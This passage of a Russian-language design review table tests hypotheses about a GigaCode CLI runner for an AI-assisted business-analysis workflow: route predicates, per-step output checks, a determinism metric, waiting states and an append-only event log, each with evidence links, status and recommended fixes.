\u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n123\\t| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n124\\t| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n125\\t| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n126\\t| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n127\\t| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n128\\t| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n129\\t| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n130\\t| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n131\\t| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n132\\t| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n133\\t\\n134\\t### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n135\\t\\n136\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n137\\t|---|----------|----------------|--------|-------------|--------------|\\n138\\t| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n139\\t| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 